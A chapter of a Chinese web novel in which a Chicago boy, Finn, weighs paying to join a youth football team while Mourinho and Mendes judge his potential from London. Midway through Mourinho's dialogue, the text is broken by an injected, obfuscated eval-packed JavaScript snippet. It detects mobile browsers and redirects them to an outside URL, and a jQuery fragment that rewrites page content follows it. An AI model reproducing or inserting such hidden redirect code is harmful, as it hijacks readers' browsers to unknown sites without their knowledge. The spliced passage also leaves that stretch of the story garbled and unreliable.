河畔公园比橡树公园开阔，人更少，但踢球的人似乎更认真。芬恩在这里遇到了“北风”队——一支由波兰和墨西哥移民家长组织的社区青少年球队。他们的教练是个瘸了一条腿、说话带着浓重东欧口音的中年男人，叫沃伊切赫。他看了芬恩和卡洛斯踢了几次，没说什么。
直到第三次遇见，沃伊切赫在活动结束后叫住了芬恩。
“你，”他用夹着烟的手指点了点芬恩，“踢球用脑子，不用眼睛乱看。但技术，”他撇撇嘴，吐出烟圈，“狗屎一样。”
芬恩没说话。
“想不想跟队训练？每周二、四晚上，周日早上。”沃伊切赫直截了当，“有战术，有比赛，不是野球。”
卡洛斯眼睛亮了，用力拽芬恩的袖子。
“多少钱？”芬恩问。这是他唯一关心的问题。
沃伊切赫报了个数。不多，但对芬恩来说，是他每月预算的三分之一，是他为“离开”而攒下的“路费”里，实实在在的一块。
“装备自理。交通自理。”沃伊切赫补充，“如果下个月社区联赛你能进大名单，费用可以减半。但前提是，你能跟上。”
他把一张简陋的打印纸条塞给芬恩，上面是训练地址和时间。“下周二，第一次训练。来，就交钱。不来，就当没见过。”
选择猝不及防地砸在面前。要钱，还是要一个模糊的、关于“正规训练”和“比赛”的可能性？
几天前，伦敦。
门德斯将平板电脑转向穆里尼奥，上面是芬恩颠球的那段视频，以及埃里克简短的文字备注：“持续性练习，意图明确，学习模式固定。”
“你冬天在芝加哥顺手处理掉的那个‘小麻烦’，”门德斯说，语气平淡得像在念球探报告，“好像对圆形物体产生了某种条件反射。”
穆里尼奥正在对手的阵容名单上做记号，头也没抬。“所以？”
“所以，也许你当时捡起来的，不只是一件垃圾。”门德斯滑动屏幕，调出另一份数据，是芬恩近几次在公园踢球时，一些基础动作的完成率和选择倾向，“看起来，他在试图理解规则，而不只是踢到球。”
穆里尼奥终于抬起眼，瞥向屏幕。视频里，男孩正一次次把球踢向墙壁，动作僵硬重复。他看了大概五秒钟，然后移开了视线。
“豪尔赫，”他的声音里没有任何波澜，只有一种深谙此道的疲倦，“每天，在欧洲，在南美，在非洲的尘土场地上，像这样对着墙踢球的孩子，有一百万个。他们每个人都觉得自己能成为下一个谁。”
他放下笔，身体向后靠去，目光穿过门德斯，仿佛看到了那些无数个模糊的、满怀梦想的年轻身影。
“这一百万个里，大概有十万个能进入一个像样的青训营。然后，因为受伤，因为长不高，因为心理崩溃，或者只是因为教练不喜欢他的星座……九万五千个会消失。剩下五千个，也许能踢上职业比赛，在某个二级甚至三级联赛。”
他顿了顿，语气更冷，更精确。
“在这五千个职业球员里，大概有五十个，能被称为‘天才’，有机会站在你我此刻讨论的舞台上。而最后，真正能在这里，”他用笔尖重重敲了敲桌上切尔西的队徽，发出沉闷的响声，“留下名字的，一只手数得过来。”
办公室陷入短暂的沉默。窗外的伦敦阴云密布。
“所以，”穆里尼奥总结道，目光重新变得锐利，聚焦在眼前的战术板上，“一次对着墙的练习，一段公园里的野球视频，证明了什么？证明了他有手有脚，并且愿意动它们。这连入场券的边都摸不到。”
门德斯点了点头，他知道何塞是对的。足球世界是一座由天赋、努力、疯狂运气和绝对残酷堆砌而成的金字塔，塔底的尘土就是无数个“也许可以”的故事。
“他多大了？”穆里尼奥忽然问，像是才想起这件事。
门德斯看了一眼报告：“快十三了。”
穆里尼奥的嘴角扯出一个近乎讽刺的弧度。“十三岁。在拉玛西亚，或者任何一家正经的青训营，这个年纪的孩子已经学了六年足球，肌肉记忆像呼吸一样自然。”他摇了摇头，语气里是绝对的现实，“他这个年纪才开始对着墙踢球，除非他是莫扎特转世踢足球——否则，连做‘尘土’的资格都没有，只是被风吹起来的、晚了一季的灰。”
他话锋一转，眼底却掠过一丝极淡的、近乎职业病的考量。
“但是，”穆里尼奥用手指点了点平板，那里定格着芬恩观察队友跑位的画面，“如果这颗‘灰’里，掺了一点别的东西——一点不是靠一万小时踢墙，而是靠这里，”他点了点自己的太阳穴，“长出来的、理解比赛的邪门歪道……”
他没说完，但意思到了。他在给一个几乎不可能的情形，留一道缝隙。
“那就让我看看，这颗迟到的灰，能不能迷住裁判和对手的眼睛。”
“那还继续看吗？”门德斯问，收起了平板。
“看。”穆里尼奥的回答出乎意料的干脆，但他接下来的话定义了“看”的意义，“但我要看的，不是他会不会颠球。我要看的是，当他知道通往下一关的门票需要他付出真实代价——比如他攒了很久的钱，他宝贵的课余时间，甚至面对更直接的欺凌时——他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179345|196939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还会不会继续对着那堵墙踢球。”
他的眼神里没有任何期待，只有冷静到近乎残忍的审视。
“如果会，那说明他至少有一种偏执。偏执在足球里不算优点，但算一种材料。如果不会……”穆里尼奥耸耸肩，答案不言而喻，“那他就只是那一百万个尘土里的普通一粒。我的时间，没必要浪费在普通尘土上。”
对话结束。芝加哥那个男孩和他的足球，在穆里尼奥的价值体系里，依然只是一组有待验证的、微不足道的初始数据。
他的“关注”，苛刻得像一道筛选程序：第一步，剔除99%的普通尘土；第二步，在剩下的1%里，寻找那点罕见的、愿意为虚幻目标付出真实代价的“偏执”。
芬恩·施耐德刚刚无意识地，提交了第一步的答卷。而他甚至不知道，自己正在参加一场由远方陌生主宰者命题的、淘汰率高达99%的隐秘海选。
他只是在芝加哥的寒风中，一次次把球踢向墙壁，听着那枯燥的“砰、砰”声，试图从中抓住一点确定的感觉。而那点感觉，在遥远的评判标准里，刚刚够资格，进入下一轮更残酷的检验。
遥远的评估与芝加哥公寓里的挣扎，在那一刻形成了诡异的同步。
芬恩不知道远方有一双眼睛正在给他的“决心”标价。他只知道，手里的钱，摸起来又冷又硬。每一张，都是他靠省吃俭用、精确计算攒下来的，是他通往“安全未来”的砖石。
现在，他要撬下一块，去换一张通往未知球场的、皱巴巴的门票。
他看着存钱罐，又看了看窗外黯淡的天色。墙上，是他自己画的、代表“离开”的箭头。
周二晚上，训练时间。去，还是不去？
他想起德里克踩球时轻蔑的脸，想起沃伊切赫说“狗屎一样”时脸上的皱纹，想起足球击中墙壁时那声枯燥却让他安心的“砰”。
最后，他伸出手，没有打开存钱罐，而是拿起了那张训练纸条。他看了很久，然后把它对折，再对折，塞进了书包最里面的夹层。
他还没有答案。
但他知道，在做出决定之前，他至少应该去亲眼看看，那个需要付费的“土堆”，到底是什么样子。看看那里的足球，和公园里的，到底有什么不同。
而这一切小心翼翼的权衡与试探，落在伦敦那个冷酷的评判者眼中，或许才刚刚达到“实验进入第二阶段”的最低标准。
一粒灰尘，在风中打了个旋，迟疑地，飘向了一个需要付费的入口。它不知道自己正在被评估，也不知道，前方等待它的，是更猛烈的风，还是另一片未曾想象过的土地。